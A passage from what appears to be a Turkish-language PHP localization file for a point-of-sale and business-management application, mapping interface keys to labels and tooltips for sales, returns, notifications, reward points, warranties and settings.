'Özel ödeme 3', 'transaction_no' => 'İşlem No.', 'file' => 'Dosya', 'size' => 'Boyut', 'date' => 'Tarih', 'age' => 'Yaş', 'create_new_backup' => 'Yeni Yedekleme Oluştur', 'all_sales' => 'Tüm Satışlar', 'opening_balance' => 'Açılış Bakiyesi', 'opening_balance_due' => 'Ödenecek Açılış Bakiyesi', 'import_contacts' => 'Kişi/Firma İçe Aktar', 'contact_type_ins' => '<strong>Uygun Seçenekler: müşteri, tedarikçi & herikisi</strong>', 'contact_id_ins' => 'Otomatik Kişi/Firma ID oluşturmak için boş bırakın', 'required_if_supplier' => 'Kişi/Firma türü tedarikçi veya her ikisi ise gerekli', 'pay_term_period_ins' => 'Uygun Seçenekler: gün ve ay', 'your_username_will_be' => 'Kullanıcı adınız şu olacak', 'currency_exchange_rate' => 'Döviz kuru', 'select_all' => 'Hepsini seç', 'deselect_all' => 'Tüm Seçimleri kaldır', 'duplicate_product' => 'Yinelenen Ürün', 'delete_selected' => 'Seçileni Sil', 'no_row_selected' => 'Seçili satır yok', 'duplicate_sell' => 'Yinelenen Satış', 'duplicate_sell_created_successfully' => 'Yinelenen Satış başarıyla oluşturuldu', 'modules' => 'Modüller', 'theme' => 'Tema', 'account' => 'Hesap', 'expense_payment' => 'Gider Ödeme', 'expense' => 'Gider', 'disabled_in_demo' => 'Demoda bu özellik devre dışı bırakıldı!!', 'selling_price_group' => 'Satış Fiyat Grubu', 'all_selling_price_group' => 'Tüm Satış Fiyat Grupları', 'add_selling_price_group' => 'Satış Fiyat Grubu Ekle', 'edit_selling_price_group' => 'Satış Fiyat Grubunu Düzenle', 'access_selling_price_groups' => 'Satış fiyat gruplarına erişim', 'save_n_add_selling_price_group_prices' => 'Satış & Satış-Grup Fiyatlarını Kaydet ve Ekle', 'add_selling_price_group_prices' => 'Grup Fiyatları Ekleme veya Düzenleme', 'default_selling_price_inc_tax' => 'Varsayılan Satış Fiyatı (Vergi Dahil)', 'variation' => 'Varyasyon', 'price_group' => 'Fiyat Grubu', 'group_price' => 'Grup Fiyatı', 'default_selling_price' => 'Varsayılan Satış Fiyatı', 'price_group_help_text' => 'Satış yapmak istediğiniz Satış Fiyat Grubu', 'group_prices' => 'Grup fiyatları', 'view_group_prices' => 'Grup fiyatlarını gör', 'save_n_add_another' => 'Kaydet Ve Başka Ekle', 'update_n_add_another' => 'Güncelle ve Başka Ekle', 'subtotal_editable' => 'Düzenlenebilir Ara Toplam', 'subtotal_editable_help_text' => 'Ara toplam alanını POS ekranında her ürün için düzenlenebilir hale getirmek için bunu işaretleyin', 'notification_templates' => 'Bildirim Şablonları', 'new_sale' => 'Yeni Satış', 'payment_reminder' => 'Ödeme Hatırlatıcısı', 'payment_received' => 'Ödeme Alındı', 'new_booking' => 'Yeni Rezervasyon', 'new_order' => 'Yeni Sipariş', 'payment_paid' => 'Ödenen Ödeme', 'items_received' => 'Alınan Öğeler', 'items_pending' => 'Bekleyen Öğeler', 'customer_notifications' => 'Müşteri Bildirimleri', 'supplier_notifications' => 'Tedarikçi Bildirimleri', 'email_subject' => 'E-posta Konu', 'email_body' => 'E-Posta İçerik', 'sms_body' => 'SMS İçerik', 'available_tags' => 'Uygun Etiketler', 'send_notification' => 'Bildirim Gönder', 'new_sale_notification' => 'Yeni Satış Bildirimi', 'send_email_only' => 'Sadece E-Posta gönder', 'send_sms_only' => 'Sadece SMS gönder', 'send_both_email_n_sms' => 'Hem E-posta hem SMS Gönder', 'to' => 'Kime', 'mobile_number' => 'Cep Telefon Numarası', 'send' => 'Gönder', 'notification_sent_successfully' => 'Bildirim başarıyla gönderildi', 'payment_received_notification' => 'Ödeme Alındı Bildirimi Gönder', 'send_payment_reminder' => 'Ödeme Hatırlatması Gönder', 'new_order_notification' => 'Yeni Sipariş Bildirimi', 'item_received_notification' => 'Alınan Öğeler Bildirimi', 'item_pending_notification' => 'Bekleyen Öğeler Bildirimi', 'payment_paid_notification' => 'Ödenen Ödeme Bildirimi', 'mail_host' => 'Host', 'mail_port' => 'Port', 'mail_username' => 'KullanıcıAdı', 'mail_password' => 'Şifre', 'mail_encryption' => 'Şifreleme', 'mail_from_address' => 'Gönderen Adresi', 'mail_from_name' => 'Gönderen Adı', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'E-Posta Ayarları', 'sms_settings' => 'SMS Ayarları', 'send_to_param_name' => 'Parametre ismine gönder', 'msg_param_name' => 'İleti/Mesaj parametre adı', 'sms_settings_param_key' => 'Parametre :number anahtarı', 'sms_settings_param_val' => 'Parametre :number değeri', 'sending' => 'Gönderiliyor', 'request_method' => 'İstek Metodu', 'purchase_return' => 'Satınalma İadesi', 'return_quantity' => 'İade Miktarı', 'return_subtotal' => 'İade Ara Toplam', 'quantet_left' => 'Kalan Miktar', 'return_total' => 'Toplam İade', 'total_return_tax' => 'Toplam iade vergisi', 'purchase_return_added_success' => 'Satınalma iadesi başarıyla eklendi', 'list_purchase_return' => 'Satınalma İade Listesi', 'all_purchase_returns' => 'Tüm Satınalma İadeleri', 'parent_purchase' => 'Ana Satınalma', 'purchase_return_details' => 'Satınalma İade Detayları', 'return_date' => 'İade Tarihi', 'parent_sale' => 'Ana Satış', 'sell_quantity' => 'Satış Miktarı', 'total_return_discount' => 'Toplam İade İndirimi', 'sell_return_details' => 'İade Satış Detayları', 'sell_details' => 'Satış Detayları', 'return_discount' => 'İade İndirimi', 'total_unit_transfered' => 'Transfer Edilen Toplam Birim', 'total_unit_adjusted' => 'Toplam Ayarlanan Birim', 'return_exist' => 'İşlem için iade var, bunun yerine iadeyi düzenleyin.', 'synced_from_woocommerce' => 'Woocommerce’dan senkronize edildi', 'available_stock_expired' => ' VEYA mevcut stokların son kullanma tarihi doldu.', 'sell_payments' => 'Satış Listesi / POS Listesi ekranında Ödeme Ekleme / Düzenleme / Silme İzni.', 'purchase_payments' => 'Satınalma Listelerinde Ödemeleri Ekleme / Düzenleme / Silme İzni.', 'sell.payments' => 'Ödemeleri Ekle / Düzenle / Sil', 'purchase.payments' => 'Ödemeleri Ekle / Düzenle / Sil', 'view_payment' => 'Ödemeyi Gör', 'card_number' => 'Kart No.', 'transaction_number' => 'İşlem Numarası', 'card_holder_name' => 'Kart Sahibi Adı', 'card_number' => 'Kart Numarası', 'card_transaction_number' => 'Kart işlem No', 'cheque_number' => 'Çek numarası', 'commsn_percent_help' => "Komisyonlu satışçı Tipi ayarı yalnızca şu durumlarda kullanılır: 'Giriş Yapan kullanıcı' veya 'Kullanıcılar listesinden seç'", 'max_amount_to_be_paid_is' => 'Maksimum tutar :amount', 'adjusted_for' => 'Ayarlandı', 'some_qty_returned' => 'Bu satın alımdan bazı miktarlar iade edilmiş', 'total_purchase_return' => 'Toplam Satınalma İadesi', 'total_purchase_return_paid' => 'Toplam Ödenmiş Satınalma İadesi', 'total_purchase_return_inc_tax' => 'Vergi Dahil Toplam Satınalma İadesi', 'purchase_sell_report_formula' => 'Genel (Satış - Satış İadesi - Satınalma - Satınalma İadesi)', 'purchase_return_due' => 'Ödenmeyen Satınalma İadesi', 'total_purchase_return_due' => 'Toplam Ödenmeyen Satınalma İadesi', 'receive_purchase_return_due' => 'Ödenmeyen İade Satınalma Alımı', 'some_qty_returned_from_sell' => 'Bu satıştan bazı miktarlar iade edilmiş', 'sell_due' => 'Ödenmeyen Satış', 'sell_return_due' => 'Ödenmeyen İade Satış', 'total_sell_return_due' => 'Toplam Ödenmeyen Satış İadesi', 'pay_sell_return_due' => 'Ödenmeyen Satış İadelerini Öde', 'total_sell_return' => 'Toplam Satış İadesi', 'total_sell_return_paid' => 'Toplam Ödenen Satış İadesi', 'total_sell_return_inc_tax' => 'Vergi Dahil Toplam Satış İadesi', 'tooltip_columnize_taxes_heading' => 'Başlıklar için vergi adını girin, başlığın vergi adına yazılması gerekir. Örneğin başlıklar şunlar olabilir: CGST, SGST, IGST & CESS. Örnek vergi isimleri CGST@8% or CGST@10%; SGST@10% veya SGST@8% vb.', 'sales_payment_dues' => 'Ödenecek Satışlar', 'purchase_payment_dues' => 'Ödenecek Satınalma', 'tooltip_sales_payment_dues' => "Satış için beklenen Ödeme. <br/><small class='text-muted'>Fatura ödeme süresine göre <br/> 7 gün veya daha kısa sürede alınacak ödemeleri gösterir.</small>", 'edit_product_price_from_sale_screen' => 'Satış ekranından ürün fiyatını düzenle', 'edit_product_discount_from_sale_screen' => 'Satış ekranından ürün indirimini düzenle', 'autosend_email' => 'Otomatik E-posta Gönder', 'autosend_sms' => 'Otomatik SMS Gönder', 'enable_selected_contacts' => 'Seçilen kişileri/firmaları kısıtla', 'tooltip_enable_selected_contacts' => 'Satış/Satınalma da Müşteri/Tedarikçi arama kutusundaki seçilen kişilere/firmalara erişimi kısıtla', 'selected_contacts' => 'Kişi/Firma Seç', 'view_role' => 'Rolü gör', 'delete_role' => 'Rolü sil', 'mail_driver' => 'Mail Sürücüsü', 'disable_suspend_sale' => 'Satışı Askıya Almayı Devre Dışı Bırak', 'suspend' => 'Askıya Al', 'suspend_note' => 'Askıya Alma Notu', 'suspend_sale' => 'Satışı Askıya Al', 'view_suspended_sales' => 'Askıya Alınan Satışları Gör', 'suspended_sales' => 'Askıya Alınmış Satışlar', 'tooltip_suspend' => 'Satış Askıya Al (duraklat)', 'business_telephone' => 'İşletme irtibat numarası', 'accept_terms_and_conditions' => 'Şartlar ve Koşulları Kabul Et', 'terms_conditions' => 'Şartlar ve koşullar', 'product_description' => 'Ürün Açıklaması', 'click_here' => 'Buraya TIKLAYIN', 'for_more_info' => 'daha fazla bilgi için', 'username_help' => 'Otomatik kullanıcı adı oluşturmak için boş bırakın', 'status_for_user' => 'Aktif ?', 'tooltip_enable_user_active' => 'Bir kullanıcıyı aktif / pasif hale getirmek için işaretleyin / işaretini kaldırın.', 'user_inactive' => 'Üzgünüm, hesap etkin değil', 'calculator' => 'Hesap makinesi', 'fields_for_customer_details' => 'Müşteri detayları için alanlar', 'show_previous_bal_due' => 'Ödenmesi gereken toplam bakiyeyi göster (Tüm satışlar)', 'previous_bal_due_help' => 'Varsa, müşterinin tüm satışlarına ait bakiye toplamlarını göstermek için bu alanı kontrol edin', 'all_sales' => 'Tüm satışlar', 'current_sale' => 'Cari satış', 'view_invoice_url' => "Fatura URL'si", 'copy' => 'Kopyala', 'extra_tags' => 'Ekstra etiketler', 'date_time_format' => 'Tarih saat biçimi', 'date_time_format_help' => "Tarih ve saat biçimini <a target='_blank' href='http://php.net/manual/en/function.date.php'> PHP tarih / saat biçiminde </a> girin. uygulanacak", 'all' => 'Herşey', 'detailed' => 'Detaylı', 'grouped' => 'Gruplandı (Tarihe Göre)', 'disable_recurring_invoice' => 'Düzenli Faturayı Devre Dışı Bırak', 'is_recurring' => 'Tekrar Ediyor', 'recurring_invoice_help' => "Abone olursanız, bu fatura düzenli aralıklarla otomatik olarak oluşturulur. <br> Bu özelliği <code> Ayarlar> İşletme Ayarları> Modules </code> 'da devre dışı bırakabilirsiniz", 'recurring_invoice' => 'Düzenli Fatura', 'years' => 'Yıllar', 'no_of_repetitions' => 'Tekrarlama Sayısı', 'recur_repetition_help' => 'Boş fatura sonsuz sürelerde oluşturulacaksa', 'recurring_invoice_message' => 'Abonelik no.:<i>:subscription_no</i> için oluşturulan Yeni Fatura, Fatura no .: <i>:invoice_no</i>', 'notifcation_count_msg' => ':count bildirimleriniz var', 'no_notifications_found' => 'Hiçbir bildirim bulunamadı', 'edit_multi_unit_help_text' => 'Bu değeri düzenlemek, alış ve satış stoklarını buna göre değiştirir', 'sale_price_is_minimum_sale_price' => 'Satış fiyatı asgari satış fiyatıdır', 'minimum_sale_price_help' => 'Bu etkinse, POS veya Satış ekranında varsayılan satış fiyatı, ürün için minimum satış fiyatı olacaktır. Fiyatı, varsayılan satış fiyatının altına koyamazsınız.', 'minimum_selling_price_error_msg' => 'Minimum Satış Fiyatı :price', 'lot_numbers_are_used_in_sale' => 'Silinemiyor, Bu satın alma işleminden bazıları satın alındı', 'created_at' => 'At oluşturuldu', 'download' => 'İndir', 'previous_file_will_be_replaced' => 'Önceden yüklenen dosya değiştirilecek', 'access_accounts' => 'Erişim Hesapları', 'payment_accounts' => 'Ödeme Hesapları', 'total_shipping_charges' => 'Toplam Kargo Ücreti', 'recurring_invoice_error_message' => 'Abonelik no .: <i>:subscription_no </i> için fatura oluşturulamıyor. <i>:product_name</i> ürünü için gerekli stok mevcut değil', 'load_more' => 'Daha fazla yükle', 'cash_flow' => 'Nakit akımı', 'subscribe' => 'Abone ol', 'subscription_interval' => 'Abonelik Aralığı', 'enable_subscription' => 'Aboneliği Etkinleştir', 'subscription_no' => 'Abonelik No.', 'start_subscription' => 'Aboneliği Başlat', 'stop_subscription' => 'Aboneliği Durdur', 'subscriptions' => 'Abonelikler', 'generated_invoices' => 'Oluşturulan Faturalar', 'last_generated' => 'Son üretilen', 'upcoming_invoice' => 'Yaklaşan fatura', 'total_sales_return' => 'Toplam Satış İadesi', 'subscription_invoice' => 'Abonelik Faturası', 'subscribed_invoice' => 'Abone Fatura', 'view_document' => 'Belgeyi Görüntüle', 'invoice_url_help' => 'Giriş yapmadan faturayı görüntülemek için bağlantı.', 'unit_cannot_be_deleted' => 'Bu cihazda ürünler var; silinemiyor', 'expiry_date_in_business_date_format' => '<b> İşletme tarihi biçiminde </b> stok son kullanma tarihi', 'product_stock_details' => 'Ürün Stok Detayları', 'search' => 'Arama', 'total_sold' => 'Toplam Satılan', 'total_stock_available' => 'Mevcut Toplam Stok', 'total_stock_transfered_to_the_location' => 'Konuma transfer edilen toplam stok', 'total_stock_transfered_from_the_location' => 'Konumdan aktarılan toplam stok', 'total_stock_calculated' => 'Toplam stok hesaplandı', 'adjust_stock_mismatch' => 'Stok Uyuşmazlığını Ayarla', 'opening_balance_payments' => 'Açılış Bakiyesi Ödemeleri', 'enable_service_staff_in_product_line' => 'Hizmet hattını ürün hattında etkinleştir', 'inline_service_staff_tooltip' => 'Eğer bir emir / satış için farklı ürünler için farklı servis personeli görevlendirilebilirse', 'line_orders' => 'Satır Siparişleri', 'total_tax' => 'Toplam vergi', 'total_discount' => 'Toplam indirim', 'net_price' => 'Net fiyat', 'select_same_for_all_rows' => 'Tüm ürünler için aynı değeri seçin', 'edited' => 'Düzenlendi', 'by' => 'Tarafından', 'upload_documents' => 'Belgeleri Yükle', 'documents' => 'Belgeler', 'click_to_print' => 'Yazdırmak için tıklayın', 'deactivated_success' => 'Başarıyla devre dışı bırakıldı', 'products_could_not_be_deleted' => 'Bazı ürünler bununla ilgili işlemleri olduğu için silinemedi.', 'price' => 'Fiyat', 'auto_backup_instruction' => 'Otomatik yedekleme ve yedek temizlemeyi etkinleştirmek için bu komutla bir cron görevi kurmanız gerekir', 'gross_profit' => 'Brüt kar', 'single' => 'Tek', 'variable' => 'Değişken', 'total_purchase_price' => 'Toplam alış fiyatı', 'total_sell_price' => 'Toplam satış fiyatı', 'packing_slip' => 'Ambalaj Fişi', 'use_superadmin_email_settings' => 'Sistem e-posta yapılandırmalarını kullan', 'profit_by_products' => 'Ürünlere göre kar', 'profit_by_categories' => 'Kategorilere göre kar', 'profit_by_brands' => 'Markalara göre kar', 'profit_by_locations' => 'Lokasyonlara göre kar', 'profit_by_invoice' => 'Fatura ile kar', 'profit_by_date' => 'Tarihe göre kar', 'uncategorized' => 'Kategorize', 'add_purchase_return' => 'Satın Alma İade Ekle', 'edit_purchase_return' => 'Satın Alma İadesini Düzenle', 'purchase_return_updated_success' => 'Satınalma iadesi başarıyla güncellendi', 'profit_by_customer' => 'Müşteri tarafından kar', 'profit_by_day' => 'Gündelik Kâr', 'sunday' => 'Pazar', 'monday' => 'Pazartesi', 'tuesday' => 'Salı', 'wednesday' => 'Çarşamba', 'thursday' => 'Perşembe', 'friday' => 'Cuma', 'saturday' => 'Cumartesi', 'show_product_image' => 'Ürün resmini göster', 'view_user' => 'Kullanıcıyı Göster', 'allow_selected_contacts' => 'Seçilen Kişilere İzin Ver', 'allow_selected_contacts_tooltip' => 'Sadece satış / müşteri / tedarikçi arama kutusundaki seçilen kişilere erişime izin ver', 'allowed_contacts' => 'İzin Verilen Kişiler', 'view_purchase_price' => 'Satınalma Fiyatını Görüntüle', 'view_purchase_price_tooltip' => 'Ürün detaylarında, stok transferinde ve stok ayarlamasında satın alma fiyatını görüntüleme izni', 'created' => 'Düzenlendi', 'updated' => 'Güncellenmiş', 'deleted' => 'Silindi', 'day' => 'Gün', 'is_service_staff_required' => 'Servis personeli gerekli midir?', 'items_report' => 'Ürün Raporu', 'purchase_price' => 'Alış fiyatı', 'sell_date' => 'Satış Tarihi', 'returned' => 'iade', 'dob' => 'Doğum tarihi', 'married' => 'Evli', 'unmarried' => 'Evli değil', 'marital_status' => 'Medeni hal', 'blood_group' => 'Kan grubu', 'divorced' => 'Boşanmış', 'contact_no' => 'İletişim numarası', 'fb_link' => 'Facebook Bağlantısı', 'twitter_link' => 'Twitter Bağlantısı', 'social_media' => 'Sosyal Medya :number', 'permanent_address' => 'Daimi Adres', 'current_address' => 'Mevcut adres', 'guardian_name' => 'Muhafız adı', 'custom_field' => 'Özel Alan :number', 'bank_details' => 'Banka detayları', 'account_holder_name' => 'Hesap Sahibinin Adı', 'account_number' => 'Hesap numarası', 'bank_name' => 'Banka adı', 'bank_code' => 'Banka Kimlik Kodu', 'bank_code_help' => 'Ülkenizdeki bankayı tanımlayan benzersiz bir kod, örneğin: IFSC kodu', 'branch' => 'Şube', 'tax_payer_id' => 'Vergi Mükellefi Kimliği', 'tax_payer_id_help' => "Çalışanın vergi numarası numarası, örneğin Hindistan'da PAN kartı", 'more_info' => 'Daha fazla bilgi', 'id_proof_name' => 'Kimlik kanıtı adı', 'id_proof_number' => 'Kimlik kanıt numarası', 'view_own_sell_only' => 'Yalnızca kendi satışını görüntüle', 'reward_point_settings' => 'Ödül Puanı Ayarları', 'enable_rp' => 'Ödül Puanını Etkinleştir', 'rp_name' => 'Ödül Puanı Görünen Adı', 'amount_for_unit_rp' => 'Birim nokta için harcanan miktar', 'min_order_total_for_rp' => 'Ödül kazanmak için minimum sipariş toplamı', 'max_rp_per_order' => 'Sipariş başına maksimum puan', 'earning_points_setting' => 'Puan Kazanma Ayarları', 'redeem_points_setting' => 'Puan Ayarlarını Kullan', 'redeem_amount_per_unit_rp' => 'Birim puan başına ödeme tutarı', 'min_order_total_for_redeem' => 'Puanları kurtarmak için minimum sipariş toplamı', 'min_redeem_point' => 'Asgari kullanım noktası', 'max_redeem_point' => 'Sipariş başına maksimum kullanım noktası', 'rp_expiry_period' => 'Ödül Puanının geçerlilik süresi', 'redeemed_amount' => 'İtfa Edilen Tutar', 'max_points_used' => 'Maksimum :points kullanılabilir', 'reward_points' => 'Ödül Puanları', 'max_reward_point_available' => 'Maksimum :name ad mevcut', 'min_reward_points_used' => 'Minimum :name isim kullanılabilir', 'redeemed' => 'İntifa', 'available' => 'Mevcut', 'earned' => 'Kazanılan', 'total_reward_amount' => 'Toplam müşteri ödülü', 'ledger' => 'Ledger', 'type' => 'Tür', 'show_payments' => 'Ödemeleri Göster', 'variation_images' => 'Varyasyon Görüntüleri', 'file_deleted_successfully' => 'Dosya başarıyla silindi', 'combo' => 'Combo', 'not_for_selling' => 'Satış için değil', 'tooltip_not_for_selling' => 'İşaretlenirse, satış amacıyla ürün satış ekranında gösterilmez.', 'show_reward_point' => 'Ödül puanını göster', 'enable_booking' => 'Rezervasyonları Etkinleştir', 'bulk_edit' => 'Toplu Düzenleme', 'bulk_edit_products' => 'Toplu Düzenleme Ürünleri', 'search_product_to_edit' => 'Düzenlenecek ürünü ara', 'related_sub_units' => 'İlgili Alt Birimler', 'sub_units_tooltip' => 'Seçilen Birime bağlı olarak, alt birimler gösterecektir. Uygulanabilir alt birimi seçin. Tüm alt birimler ürün için geçerliyse boş bırakın.', 'enable_sub_units' => 'Alt Birimleri Etkinleştir', 'added_on' => 'Eklendi', 'quantity_mismatch_exception' => 'HATA: İZİN YOK: Satılan ve mevcut miktar arasındaki uyumsuzluk. Ürün: :product', 'roles_and_permissions' => 'Roller ve İzinler', 'admin_role_location_permission_help' => 'Yönetici tüm konumlara erişebilir', 'edit_product_price_from_pos_screen' => 'POS ekranından ürün fiyatını düzenleme', 'edit_product_discount_from_pos_screen' => 'POS ekranından ürün indirimini düzenle', 'download_template_file' => 'Şablon dosyasını indir', 'types_of_service' => 'Hizmet türleri', 'add_type_of_service' => 'Hizmet türü ekle', 'packing_charge_type' => 'Paketleme Ücreti Tipi', 'packing_charge' => 'Paketleme ücreti', 'enable_custom_fields' => 'Özel alanları etkinleştir', 'edit_type_of_service' => 'Hizmet türünü düzenle', 'types_of_service_help' => 'Hizmet türü, yemek yeme, paket, eve teslim, üçüncü şahıslara teslimat vb. Hizmetler anlamına gelir.', 'select_types_of_service' => 'Hizmet türlerini seçin', 'service_custom_field_1' => 'Özel Alan 1', 'service_custom_field_2' => 'Özel Alan 2', 'service_custom_field_3' => 'Özel Alan 3', 'service_custom_field_4' => 'Özel Alan 4', 'default_selling_price_group' => 'Varsayılan Satış Fiyatı Grubu', 'location_price_group_help' => 'Bu fiyat grubu, bu konumda varsayılan fiyat grubu olarak kullanılacaktır.', 'default_accounts' => 'Varsayılan Hesap', 'product_location_help' => 'Ürünün bulunacağı yerler.', 'available_in_locations' => 'Lokasyonlarda mevcut', 'enable' => 'Etkinleştirme', 'payment_options' => 'Ödeme seçenekleri', 'pay_reference_no' => 'Ödeme referans no.', 'search_settings' => 'Arama Ayarları', 'custom_labels' => 'Özel Etiketler', 'labels_for_custom_payments' => 'Özel ödemeler için etiketler', 'packed' => 'Paketlenmiş', 'shipped' => 'Sevk', 'delivered' => 'Teslim', 'shipping_address' => 'Teslimat adresi', 'shipping_status' => 'Nakliye durumu', 'delivered_to' => 'Teslim Edildi', 'edit_shipping' => 'Gönderimi Düzenle', 'shipments' => 'Gönderiler', 'access_shipping' => 'Erişim Nakliye', 'uploaded_by' => 'Yüklendi', 'account_types' => 'Hesap Türleri', 'add_account_type' => 'Hesap türü ekle', 'parent_account_type' => 'Ana hesap türü', 'edit_account_type' => 'Hesap türünü düzenle', 'account_type' => 'Hesap tipi', 'account_sub_type' => 'Hesap Alt Türü', 'enable_updating_product_price_tooltip' => 'Eğer bir ürün eklendikten veya güncellendikten sonra etkin ürün alış fiyatı ve satış fiyatı güncellenirse', 'default_datatable_page_entries' => 'Varsayılan veri sayfası girişleri', 'product_not_found_exception' => "SKU'lu ürün :sku satırda bulunamadı :row", 'price_group_not_found_exception' => 'İsimli Fiyat Grubu :pg sırada bulunamadı :row', 'price_group_non_numeric_exception' => 'Satırda sayısal olmayan fiyat bulundu :row', 'total_stock_price' => 'Mevcut Stok Değeri', 'test_email_configuration' => 'Test e-postası gönder', 'email_tested_successfully' => 'E-posta yapılandırmaları başarıyla doğrulandı', 'test_number' => 'Test Numarası', 'test_sms_configuration' => "Test SMS'i gönder", 'test_number_is_required' => 'Test numarası gerekli', 'import_contact_type_ins' => 'Kullanılabilir Seçenekler: <strong> <br> 1 = Müşteri, <br> 2 = Tedarikçi <br> 3 = Her ikisi de </strong>', 'enable_pos_transaction_date' => 'POS ekranında işlem tarihini etkinleştir', 'amount_for_unit_rp_tooltip' => '<strong> Müşterinin bir ödül puanı almak için ne kadar harcadığı anlamına gelir. </strong> <br> <br> <strong> Örnek: </strong> 10 olarak ayarlarsanız, müşteri tarafından harcadığınız her 10 ABD doları için bir ödül puanı kazanacak. Müşteri 1000 $ karşılığında satın alırsa 100 ödül puanı alacak. ', 'max_rp_per_order_tooltip' => 'Müşterilerin tek bir faturada kazanabilecekleri maksimum ödül puanı. Bu tür bir kısıtlama istemiyorsanız boş bırakın.', 'min_order_total_for_rp_tooltip' => "<strong> Müşterinin ödül puanı almak için harcaması gereken minimum tutar. </strong> <br> <br> <strong> Örnek: </strong> Eğer 100 olarak ayarlarsanız, müşteri yalnızca puan kazanırsa ödül puanı alır fatura toplamı 100'e eşit ya da daha büyük. Fatura toplamı 99 ise ödül puanı alamazlar. <br> <br> En az 1 olarak ayarlayabilirsiniz. ", 'redeem_amount_per_unit_rp_tooltip' => '<strong> Bu, puan başına toplam tutarı gösterir. </strong> <br> <br> <strong> Örneğin: </strong> 1 puan 1 ise 1 değerini girin. 2 puan 1 dolarsa değeri 0,50 olarak girin', 'min_order_total_for_redeem_tooltip' => 'Müşterilerin puan kazanabileceği minimum sipariş toplamı. Bu kısıtlamaya ihtiyacınız yoksa veya ücretsiz bir şeyler vermeniz gerekiyorsa boş bırakın.', 'min_redeem_point_tooltip' => 'Fatura başına kullanılabilecek asgari kullanım puanları. Bu kısıtlamaya ihtiyacınız yoksa boş bırakın.', 'max_redeem_point_tooltip' => 'Bir siparişte kullanılabilecek maksimum puanlar. Bu kısıtlamaya ihtiyacınız yoksa boş bırakın.', 'rp_expiry_period_tooltip' => '<strong> Müşteri tarafından kazanılan puanlar için süre bitimi. </strong> <br> <br> Ay veya yıl olarak belirleyebilirsiniz. Süresi dolmuş puanlar, bu süreden sonra otomatik olarak müşteri hesabından düşülecektir.', 'configure_product_search' => 'Ürün aramasını yapılandır', 'search_products_by' => 'Ürünleri ara', 'credit_sales' => 'Kredili satışlar', 'total_payment' => 'Toplam ödeme', 'deactivate_location' => 'Konumu Devre Dışı Bırak', 'activate_location' => 'Konumu Etkinleştir', 'business_location_activated_successfully' => 'İş yeri başarıyla etkinleştirildi', 'business_location_deactivated_successfully' => 'İşletme yeri başarıyla devre dışı bırakıldı', 'show_credit_sale_button' => 'Kredi Satış Düğmesini Göster', 'show_credit_sale_btn_help' => 'Kredi kartında etkin satış butonu, POS kartındaki Kart düğmesinin yerine gösterilecektir', 'credit_sale' => 'Kredi satışı', 'tooltip_credit_sale' => 'Kredi satışı olarak ödeme', 'add_as_sub_txonomy' => 'Alt sınıflandırma olarak ekle', 'select_parent_taxonomy' => 'Üst sınıflandırma seçin', 'warranty' => 'Garanti', 'warranties' => 'Garantiler', 'all_warranties' => 'Tüm Garantiler', 'add_warranty' => 'Garanti Ekle', 'duration' => 'Süre', 'edit_warranty' => 'Garantiyi Düzenle', 'enable_product_warranty' => 'Garantiyi Etkinleştir', 'warranty_ends_on' => 'Garanti sona eriyor', 'restaurant_module_settings' => 'Restoran modülü ayarları', 'warranty_module_settings' => 'Garanti modülü ayarları', 'show_warranty_name' => 'Garanti adını göster', 'show_warranty_exp_date' => 'Garanti son kullanma tarihini göster', 'show_warranty_description' => 'Garanti açıklamasını göster', 'gender' => 'Cinsiyet', 'male' => 'Erkek', 'female' => 'Kadın', 'others' => 'Diğerleri', 'recent_transactions' => 'Son İşlemler', 'add_row' => 'Satır ekle', 'add_widget_here' => 'Buraya bir widget ekleyin', 'move_row' => 'Satırı taşı', 'configure_dashboard' => 'Kontrol Panelini Yapılandır :name', 'change_return_label' => 'İade etiketini değiştir', 'change_return_help' => 'İade değişikliği, fazla ödeme yapılması durumunda müşteriye iade edilecek miktardır.', 'profile_photo' => 'Profil resmi', 'upload_image' => 'Fotoğraf yükleniyor', 'expense_tax' => 'Gider Vergisi', 'expense_tax_tooltip' => 'Seçilen dönem için işletme giderlerine ödenen toplam vergi', 'tax_overall' => 'Genel (Giriş - Çıkış - Gider)', 'overdue' => 'Gecikmiş', 'partial-overdue' => 'Kısmi Vadesi geçmiş', 'due_date_label' => 'Bitiş tarihi etiketi', 'show_due_date' => 'Bitiş tarihini göster', 'contact_custom_field1' => 'Özel Alan 1', 'contact_custom_field2' => 'Özel Alan 2', 'contact_custom_field3' => 'Özel Alan 3', 'contact_custom_field4' => 'Özel Alan 4', 'added_by' => 'Tarafından eklendi', 'authorized_signatory' => 'Yetkili imza', 'no_location_access_found' => 'Konum erişimi bulunamadı', 'location_custom_field1' => 'Özel alan 1', 'location_custom_field2' => 'Özel alan 2', 'location_custom_field3' => 'Özel alan 3', 'location_custom_field4' => 'Özel alan 4', 'user_custom_field1' => 'Özel alan 1', 'user_custom_field2' => 'Özel alan 2', 'user_custom_field3' => 'Özel alan 3', 'user_custom_field4' => 'Özel alan 4', 'logo_not_work_in_sms' => 'İşletme logosu SMS ile çalışmaz', 'notification_email_tooltip' => 'Alıcı e-postalarının virgülle ayrılmış dizesi', 'heading' => 'Başlık', 'updated_at' => 'Güncelleme Tarihi', 'documents_and_notes' => 'Belgeler ve Not', 'add_note' => 'Not ekle', 'edit_note' => 'Notu Düzenle', 'is_private' => 'Özel mi?', 'private' => 'Özel', 'documents' => 'Belgeler', 'note_will_be_visible_to_u_only' => 'Not ve belge yalnızca sizin tarafınızdan görülebilir', 'activities' => 'Etkinlikleri', 'no_limit' => 'Limit yok', 'contains_media' => 'Bu not medya içeriyor', 'private_note' => 'Bu özel not', 'amount_rounding_method' => 'Tutar yuvarlama yöntemi', 'round_to_nearest_whole_number' => 'En yakın tam sayıya yuvarla', 'round_to_nearest_decimal' => 'En yakın ondalık sayıya yuvarla (birden çok :multiple)', 'amount_rounding_method_help' => "Örnek: <br> <b> En yakın tam sayıya yuvarla: </b> 2.23 => 2, 2,50 => 3, 2,73 => 3 <br> <b> En yakın ondalık sayıya yuvarla (0,05'in katları): </b> 2,11 => 2,10, 2,12 => 2,10, 2,13 => 2,15 ", 'round_off' => 'Yuvarlama', 'round_off_label' => 'Etiketi yuvarla', 'total_sell_round_off' => 'Toplam satış turu', 'user_info' => 'Kullanıcı bilgisi', 'enable_weighing_scale' => 'Tartım Terazisini Etkinleştir', 'weighing_scale_setting' => 'Tartı barkod ayarı', 'weighing_scale_setting_help' => 'Barkodu tartım skalasınıza göre yapılandırın.', 'weighing_barcode_prefix' => 'Önek', 'weighing_product_sku_length' => 'Ürün uzunluğu', 'weighing_qty_integer_part_length' => 'Miktar tamsayı parça 